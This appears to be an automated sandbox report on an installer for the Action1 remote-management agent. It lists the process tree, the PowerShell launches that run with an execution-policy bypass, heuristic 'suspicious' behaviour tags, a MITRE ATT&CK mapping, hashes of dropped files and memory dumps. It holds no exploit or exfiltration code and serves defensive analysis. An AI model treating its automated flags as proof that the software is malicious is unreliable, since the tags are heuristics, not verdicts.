  C:\Windows\syswow64\MsiExec.exe -Embedding 75B8AC3FB840A535F5D1BC2B6F4A3380 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4124

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3664
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2672
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2956
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58c216.rbs

Path C:\Config.Msi\e58c216.rbs
Size 240KB
SHA256 de4dbe683a5d6050ceab893e9913f13da1a0e53f71a6afa5ba04b1286097733a
MD5 1dd23245bc041e1f770527aed92262dc
SHA1 26fb2c621a6522b6884319f379668ba58908c5e4
SHA512 97c3e4b52717415a539526a959846138c80db885eda4b9a4e9c4b4724991c8fb904c0da02b6651dea8d60b056125ff5b7afbe0c06d460697f3cc612c4b6284d9
SSDEEP 3072:2XiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3B:2qhy8VKU3hvZUy+ppHEsuB/S
TLSH
T19A348E217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1ABB7727
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e58c217.rbs

Path C:\Config.Msi\e58c217.rbs
Size 7KB
SHA256 4aa55ef4e81ccad0804565e17a4288ab62f4f4a634a610f91271d85254dcce8e
MD5 9f71cd8a72a1888a609fcec4506e1897
SHA1 dfba8116b9f72c51d004f148aa5ae147aa262475
SHA512 36fbd42ad5779f91b844097ca47915bad5aa43f2f208f69bb405c73e09223284dc2ca6f6f428d28366487184909ecdedcd8fe7095dffc9bf210bece805c21558
SSDEEP 96:88y7tPeG9v7XkUT1AiOliCsThqxBXkUT1AiOliC6jZS2dThqxaH+35fyG9tbktqp:FAeEf6hI26hM+YS0/pc
TLSH
T175E120017A0046F3FA6A0735C7471F9837B2D2DA43112B1B88CDA6749F5BB8E6F951CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ff671c40aec28aad54dcc6b88ad358559a26d45c80192c04d2e51f8aac76f0a8
MD5 994166bd7395eb4def24ed9d2e026be1
SHA1 f8dedfef7a94798c1d40eb80071321139e5d7a14
SHA512 c438f0c301e6d332e25f1b7eae03554fe6020b6464f0f0b10722369c8571d0f3e88fbb6bac94032fa85645a74f02378d6e4237227e10976075c78662b02b47a2
TLSH
T13E119323B39C8A21CC86153A409EAC1132B283C741AECE9F6BC0C214A0AF584CB71290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_v13hd1kh.tln.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v13hd1kh.tln.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

pkg.msi

Path C:\Users\Admin\AppData\Local\Temp\pkg.msi
Size 6.8MB
SHA256 66debf86917df83671d18099230da8593f2a6368af6c81ed3987f95ea99db0c8
MD5 00a6e4ad8d97cd49eacc1243fb0c2b3e
SHA1 d25ae91ed6f048fd78c4923de8cfcb104b1edc6b
SHA512 7a840bf1699aa579950e9aa2c1ce0b0f3217cf1f37cd15aa6eb87ca371fe2f9418a78c744a656f1243f549de30e640dbaa9bc5e41c8d043ebe6cf88fdeecdd6e
SSDEEP 98304:VkMMwpD74pOTxPjLHLgk92Rdxmk69pa5SUOsFekLS57JkmPMETphToy0seQvsm:Wlc4pkbLHLhObmXe/kdkmPDTs
TLSH
T1E3761221754E8C76C5AA363071769E7DDA7CBC305BA08BDB938339EE09315C052FDA92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_agent.exe

Path C:\Windows\Action1\action1_agent.exe
Size 8.9MB
SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
MD5 e4f1f52a78f22dd2be17449ca6f8f0af
SHA1 e9f385454fdddc7ae88431b8e02f4dfb7dd57b68
SHA512 2d7ed519a9380e1574bbc55444420334bdd0792c7839a1be67607a4f81be79e52f6c4dd10141079a47dcf61552724c2b3f060f0f670bdea527dc130ba9aebac8
SSDEEP 196608:KV1U3lnchqzhNpxSKyOBE2LeIzfAnOgOZ6aMkElWpRUn:KPoTVQYEseIzflZ6aMZORo
TLSH
T1D9968D21B641C135F9A301B29A7E4B6F853CBE30072555E7D3C858AE5AB19E33B32B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

advanced_settings.json

Path C:\Windows\Action1\advanced_settings.json
Size 54KB
SHA256 aac1d73f5028d5726a31dc92d467b6e8cc9f8ca4539b0b21aefd0162f52a47c5
MD5 c106cdfb48884ec2e2a6288a7243673c
SHA1 3a9a5c9e48c07d84681ccbc3e58baf198484dde0
SHA512 00ef054608a912b4754f3b713543c681399a1205f9d588bf32466b49a70ab99cfdefbb24825f9c30c4168d938ebbd5744e4f05db671e1fd4b5bbb71b5782ba38
SSDEEP 768:+9XKnbhRgjUpQUfRQ3Lyhx48Utsp82qUgw6fCph8uP5K5DIK58EOKWbBoE3a+OQL:tRoLE6xY+wkMdAelYWsM
TLSH
T1BF439C16E4757DB104C2188C5FCB1AFBDA4E019652D906DE871CEEBF89AF52C8102E9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DataSource_1004.ps1

Path C:\Windows\Action1\scripts\DataSource_1004.ps1
Size 55KB
SHA256 3c0ea3f83d6ebfdbd36de8df82fca5524f1954bba51485f0590857b62ef6eb2f
MD5 ae8767f5e22bc55890385e5a36a3b4ba
SHA1 880ba3b97fc588b9e021bd4bb1ca191d961b61bb
SHA512 0b1bc5be20dfa72070a5cb92d36b12f3cb5de26e39d10d11f7d0aeb1e7cd17b3031f8550c87d0e857ea4593cfccfd738ef222783106bd793e3b502dffdabc77c
SSDEEP 1536:Q/41urw4TV0HeCFgpUI5TrjrLAeOUbh9Q4ZePTjqZes+MafOS9siVKI6AXNhSk1h:Q/41KUT+ULFf
TLSH
T1A043914C69DAE12611A3713C5ECF60083B39801F014D9A14BA9D81C5FFA2579DBBE7AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DataSource_1008.ps1

Path C:\Windows\Action1\scripts\DataSource_1008.ps1
Size 20KB
SHA256 6ca8873bf46ea4888dce7ab5ccdaba1e34577ce8cc1064817d66a3cd901351ea
MD5 745c2c539a54b590bf44ea13064ca55e
SHA1 4cca8b2f890e6c42800e16c20cf5d76048f04f3f
SHA512 d452736909daf94b7cd8744f4b6c47faeb412f9c0fc42029dffbffae2096dbd728acc2833f75e32bb8a61977f0a0253e90a1259ac806ae5dd7988980d89c90f3
SSDEEP 384:FomS7XwYkQo+ZL3VtmUtCCoaPSCVTESKvjQr5WMVH0DpRrwId:FomSLwJWFAUDohCVTESKvjQrzURx
TLSH
T1A3A2F928AABAC22410C3207D9F9B550A7976A15F809DDD10B99CCBD0AF4191CDBF47AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI15E.tmp

Path C:\Windows\Installer\MSI15E.tmp
Size 387KB
SHA256 ca5f0275e70ec5ba65b74c3da74f489018bc143c4c405fd8bbc6519eadac2a22
MD5 4112820180a36753089ee5c0fdba1538
SHA1 6366de1c2930886892aabf4b8ac55fd0bb4b91bb
SHA512 eac55d5a5c723fb5bd85bdd1ee71a13497d677d2b45e58b6eed2f7e42760d2ba3d07e0cb2b622f7866da8492f8d3fdb02b6288f95b761f5b2e20d2e2098233d3
SSDEEP 6144:ijVmAOn9DqwokBL+097OsOmceIpOaEPbyHiDO9EAFw:CmAOnRokBL17OsONeIshZAFw
TLSH
T18B848D01B542C032D5AE05B0B535EFB5AABDA9704FB468DBB7D40E7B8D302C1A735A1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI325.tmp

Path C:\Windows\Installer\MSI325.tmp
Size 234KB
SHA256 78860e15e474cc2af7ad6e499a8971b6b8197afb8e49a1b9eaaa392e4378f3a5
MD5 8edc1557e9fc7f25f89ad384d01bcec4
SHA1 98e64d7f92b8254fe3f258e3238b9e0f033b5a9c
SHA512 d26c9dce3c3d17583ffb5dbcd3989f93b096a7f64a37a2701a474c1bf4b8c8b1e922c352d33f24e411f1c793e1b4af11a3aec1de489087d481b1b636df2050cd
SSDEEP 3072:5XiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3:5qhy8VKU3hvZUy+ppHEsuB/
TLSH
T159348D217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1A7B7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 726d2b3a5003e478f61d3626a078477d2ce3caa24520bafefc1750edd68ef617
MD5 91bbf1113ed5ee5b5ca394415a183a07
SHA1 c3db7fead075105a6bc6ed8de9b206fd61c69aaf
SHA512 547e90736c71c0990eed9f24e071f4acbcb2d2fa99e0a13f70cb5d564c7ed084e78e631c8795e46778926118da82aec153bb6ab32439cb009a27153e5aeda1e4
TLSH
T16B218627B39C89A1CC86163A109D9C1076B393C7809ECFDF6BC4C600A0BF988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1704-143-0x0000021863E00000-0x0000021863EB5000-memory.dmp

Download

memory/1704-146-0x0000021864040000-0x0000021864064000-memory.dmp

Download

memory/1704-145-0x0000021864040000-0x000002186406A000-memory.dmp

Download

memory/1704-144-0x0000021863EC0000-0x0000021863ECA000-memory.dmp

Download

memory/1704-142-0x0000021863DE0000-0x0000021863DFC000-memory.dmp

Download

memory/3616-8-0x0000018354F50000-0x0000018354F72000-memory.dmp

Download

memory/3616-0-0x000001833AA80000-0x000001833AA90000-memory.dmp

Download

memory/3616-1-0x000001833AA80000-0x000001833AA90000-memory.dmp

Download

memory/3616-10-0x000001833AA80000-0x000001833AA90000-memory.dmp

Download